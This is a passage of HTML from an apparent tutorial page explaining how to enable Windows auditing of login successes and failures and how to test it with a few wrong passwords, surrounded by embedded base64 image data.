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" /></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: center;">
<span style="mso-fareast-language: EN-IN; mso-no-proof: yes;"></span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;"></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;">In the
above image you can see that both the options as marked are<b><span style="color: #b45f06;"> disabled </span></b><br />
<br />
<b>a)</b>So if you want only to <b><span style="color: #b45f06;">log your login
success</span></b> then enable success in the above image.<br />
<br />
<b>b)</b>If you want to <b><span style="color: #b45f06;">log login failures</span></b>
then enable failure in the above image.<br />
<br />
<b>c)</b>If you want to <b><span style="color: #b45f06;">log both login
success and failure</span></b> attempts then enable both.<br />
After selecting your suitable option click ok.<br />
<br />
</span><b><span style="font-family: "Times New Roman","serif"; font-size: 18.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;">4.</span></b><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;">Then inorder to test if it works
or not,logout from your system and try few wrong passwords and then login
again.<br />
<br />
</span><b><span style="font-family: "Times New Roman","serif"; font-size: 18.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;">5.</span></b><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;">Now right click on the "<b><span style="color: #b45f06;">My computer</span></b>" icon on the desktop and
navigate to where it is written "<b><span style="color: #b45f06;">Manage</span></b>"</span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: center;">
<span style="mso-fareast-language: EN-IN; mso-no-proof: yes;"></span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;"></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br />
<img alt="" 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